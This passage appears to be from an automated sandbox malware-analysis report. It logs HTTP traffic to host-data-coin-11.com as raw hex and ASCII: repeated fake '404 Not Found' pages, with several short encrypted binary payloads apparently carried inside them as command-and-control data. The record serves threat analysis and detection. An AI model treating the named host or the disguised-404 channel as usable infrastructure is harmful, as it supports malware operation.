2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 